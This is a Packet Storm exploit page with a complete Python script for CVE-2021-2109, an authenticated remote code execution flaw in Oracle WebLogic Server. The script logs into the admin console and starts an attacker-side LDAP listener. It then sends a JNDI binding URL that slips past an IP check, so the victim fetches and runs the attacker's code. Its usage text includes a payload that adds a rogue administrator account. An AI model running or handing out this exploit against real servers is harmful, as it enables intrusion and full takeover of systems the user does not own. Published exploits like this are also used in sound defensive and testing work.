exploit the possibilities

Oracle WebLogic Server 14.1.1.0 Remote Code Execution

Oracle WebLogic Server 14.1.1.0 Remote Code Execution
Posted Jan 22, 2021
Authored by Photubias

Oracle WebLogic Server version 14.1.1.0 authenticated remote code execution exploit.

tags | exploit, remote, code execution
advisories | CVE-2021-2109
MD5 | 25e9422281b5e82bb03523d889add28c

Oracle WebLogic Server 14.1.1.0 Remote Code Execution

Change Mirror Download
# Exploit Title: Oracle WebLogic Server 14.1.1.0 - RCE (Authenticated)
# Date: 2021-01-21
# Exploit Author: Photubias
# Vendor Advisory: [1] https://www.oracle.com/security-alerts/cpujan2021.html
# Vendor Homepage: https://www.oracle.com
# Version: WebLogic 10.3.6.0, 12.1.3.0, 12.2.1.3, 12.2.1.4, 14.1.1.0 (fixed in JDKs 6u201, 7u191, 8u182 & 11.0.1)
# Tested on: WebLogic 14.1.1.0 with JDK-8u181 on Windows 10 20H2
# CVE: CVE-2021-2109

#!/usr/bin/env python3
'''
Copyright 2021 Photubias(c)

This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.

This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.

File name CVE-2021-2109.py
written by tijl[dot]deneut[at]howest[dot]be for www.ic4.be

This is a native implementation without requirements, written in Python 3.
Works equally well on Windows as Linux (as MacOS, probably ;-)

Requires JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
from https://github.com/welk1n/JNDI-Injection-Exploit
to be in the same folder
'''
import urllib.request, urllib.parse, http.cookiejar, ssl
import sys, os, optparse, subprocess, threading, time

## Static vars; change at will, but recommend leaving as is
sURL = 'http://192.168.0.100:7001'
iTimeout = 5
oRun = None

## Ignore unsigned certs, if any because WebLogic is default HTTP
ssl._create_default_https_context = ssl._create_unverified_context

class runJar(threading.Thread):
def __init__(self, sJarFile, sCMD, sAddress):
self.stdout = []
self.stderr = ''
self.cmd = sCMD
self.addr = sAddress
self.jarfile = sJarFile
self.proc = None
threading.Thread.__init__(self)

def run(self):
self.proc = subprocess.Popen(['java', '-jar', self.jarfile, '-C', self.cmd, '-A', self.addr], shell=False, stdout = subprocess.PIPE, stderr = subprocess.PIPE, universal_newlines=True)
for line in iter(self.proc.stdout.readline, ''): self.stdout.append(line)
for line in iter(self.proc.stderr.readline, ''): self.stderr += line


def findJNDI():
sCurDir = os.getcwd()
sFile = ''
for file in os.listdir(sCurDir):
if 'JNDI' in file and '.jar' in file:
sFile = file
print('[+] Found and using ' + sFile)
return sFile

def findJAVA(bVerbose):
try:
oProc = subprocess.Popen('java -version', stdout = subprocess.PIPE, stderr = subprocess.STDOUT)
except:
exit('[-] Error: java not found, needed to run the JAR file\n Please make sure to have "java" in your path.')
sResult = list(oProc.stdout)[0].decode()
if bVerbose: print('[+] Found Java: ' + sResult)

def checkParams(options, args):
if args: sHost = args[0]
else:
sHost = input('[?] Please enter the URL ['+sURL+'] : ')
if sHost == '': sHost = sURL
if sHost[-1:] == '/': sHost = sHost[:-1]
if not sHost[:4].lower() == 'http': sHost = 'http://' + sHost
if options.username: sUser = options.username
else:
sUser = input('[?] Username [weblogic] : ')
if sUser == '': sUser = 'weblogic'
if options.password: sPass = options.password
else:
sPass = input('[?] Password [Passw0rd-] : ')
if sPass == '': sPass = 'Passw0rd-'
if options.command: sCMD = options.command
else:
sCMD = input('[?] Command to run [calc] : ')
if sCMD == '': sCMD = 'calc'
if options.listenaddr: sLHOST = options.listenaddr
else:
sLHOST = input('[?] Local IP to connect back to [192.168.0.10] : ')
if sLHOST == '': sLHOST = '192.168.0.10'
if options.verbose: bVerbose = True
else: bVerbose = False
return (sHost, sUser, sPass, sCMD, sLHOST, bVerbose)

def startListener(sJarFile, sCMD, sAddress, bVerbose):
global oRun
oRun = runJar(sJarFile, sCMD, sAddress)
oRun.start()
print('[!] Starting listener thread and waiting 3 seconds to retrieve the endpoint')
oRun.join(3)
if not oRun.stderr == '':
exit('[-] Error starting Java listener:\n' + oRun.stderr)
bThisLine=False
if bVerbose: print('[!] For this to work, make sure your firewall is configured to be reachable on 1389 & 8180')
for line in oRun.stdout:
if bThisLine: return line.split('/')[3].replace('\n','')
if 'JDK 1.8' in line: bThisLine = True

def endIt():
global oRun
print('[+] Closing threads')
if oRun: oRun.proc.terminate()
exit(0)

def main():
usage = (
'usage: %prog [options] URL \n'
' Make sure to have "JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar"\n'
' in the current working folder\n'
'Get it here: https://github.com/welk1n/JNDI-Injection-Exploit\n'
'Only works when hacker is reachable via an IPv4 address\n'
'Use "whoami" to just verify the vulnerability (OPSEC safe but no output)\n'
'Example: CVE-2021-2109.py -u weblogic -p Passw0rd -c calc -l 192.168.0.10 http://192.168.0.100:7001\n'
'Sample payload as admin: cmd /c net user pwned Passw0rd- /add & net localgroup administrators pwned /add'
)

parser = optparse.OptionParser(usage=usage)
parser.add_option('--username', '-u', dest='username')
parser.add_option('--password', '-p', dest='password')
parser.add_option('--command', '-c', dest='command')
parser.add_option('--listen', '-l', dest='listenaddr')
parser.add_option('--verbose', '-v', dest='verbose', action="store_true", default=False)

## Get or ask for the vars
(options, args) = parser.parse_args()
(sHost, sUser, sPass, sCMD, sLHOST, bVerbose) = checkParams(options, args)

## Verify Java and JAR file
sJarFile = findJNDI()
findJAVA(bVerbose)

## Keep track of cookies between requests
cj = http.cookiejar.CookieJar()
oOpener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))

print('[+] Verifying reachability')
## Get the cookie
oRequest = urllib.request.Request(url = sHost + '/console/')
oResponse = oOpener.open(oRequest, timeout = iTimeout)
for c in cj:
if c.name == 'ADMINCONSOLESESSION':
if bVerbose: print('[+] Got cookie "' + c.value + '"')

## Logging in
lData = {'j_username' : sUser, 'j_password' : sPass, 'j_character_encoding' : 'UTF-8'}
lHeaders = {'Referer' : sHost + '/console/login/LoginForm.jsp'}
oRequest = urllib.request.Request(url = sHost + '/console/j_security_check', data = urllib.parse.urlencode(lData).encode(), headers = lHeaders)
oResponse = oOpener.open(oRequest, timeout = iTimeout)
sResult = oResponse.read().decode(errors='ignore').split('\r\n')
bSuccess = True
for line in sResult:
if 'Authentication Denied' in line: bSuccess = False
if bSuccess: print('[+] Succesfully logged in!\n')
else: exit('[-] Authentication Denied')

## Launch the LDAP listener and retrieve the random endpoint value
sRandom = startListener(sJarFile, sCMD, sLHOST, bVerbose)
if bVerbose: print('[+] Got Java value: ' + sRandom)

## This is the actual vulnerability, retrieve LDAP data from victim which the runs on victim, it bypasses verification because IP is written as "127.0.0;1" instead of "127.0.0.1"
print('\n[+] Firing exploit now, hold on')
## http://192.168.0.100:7001/console/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(-ldap://192.168.0;10:1389/5r5mu7;AdminServer-)
sConvertedIP = sLHOST.split('.')[0] + '.' + sLHOST.split('.')[1] + '.' + sLHOST.split('.')[2] + ';' + sLHOST.split('.')[3]
sFullUrl = sHost + r'/console/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://' + sConvertedIP + ':1389/' + sRandom + r';AdminServer%22)'
if bVerbose: print('[!] Using URL ' + sFullUrl)
oRequest = urllib.request.Request(url = sFullUrl, headers = lHeaders)
oResponse = oOpener.open(oRequest, timeout = iTimeout)
time.sleep(5)
bExploitWorked = False
for line in oRun.stdout:
if 'Log a request' in line: bExploitWorked = True
if 'BypassByEl' in line: print('[-] Exploit failed, wrong SDK on victim')
if not bExploitWorked: print('[-] Exploit failed, victim likely patched')
else: print('[+] Victim vulnerable, exploit worked (could be as limited account!)')
if bVerbose: print(oRun.stderr)
endIt()

if __name__ == "__main__":
try: main()
except KeyboardInterrupt: endIt()

Login or Register to add favorites

File Archive:

April 2021

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    17 Files
  • 2
    Apr 2nd
    2 Files
  • 3
    Apr 3rd
    2 Files
  • 4
    Apr 4th
    0 Files
  • 5
    Apr 5th
    15 Files
  • 6
    Apr 6th
    15 Files
  • 7
    Apr 7th
    20 Files
  • 8
    Apr 8th
    16 Files
  • 9
    Apr 9th
    5 Files
  • 10
    Apr 10th
    0 Files
  • 11
    Apr 11th
    0 Files
  • 12
    Apr 12th
    4 Files
  • 13
    Apr 13th
    15 Files
  • 14
    Apr 14th
    27 Files
  • 15
    Apr 15th
    19 Files
  • 16
    Apr 16th
    7 Files
  • 17
    Apr 17th
    1 Files
  • 18
    Apr 18th
    1 Files
  • 19
    Apr 19th
    19 Files
  • 20
    Apr 20th
    18 Files
  • 21
    Apr 21st
    30 Files
  • 22
    Apr 22nd
    18 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close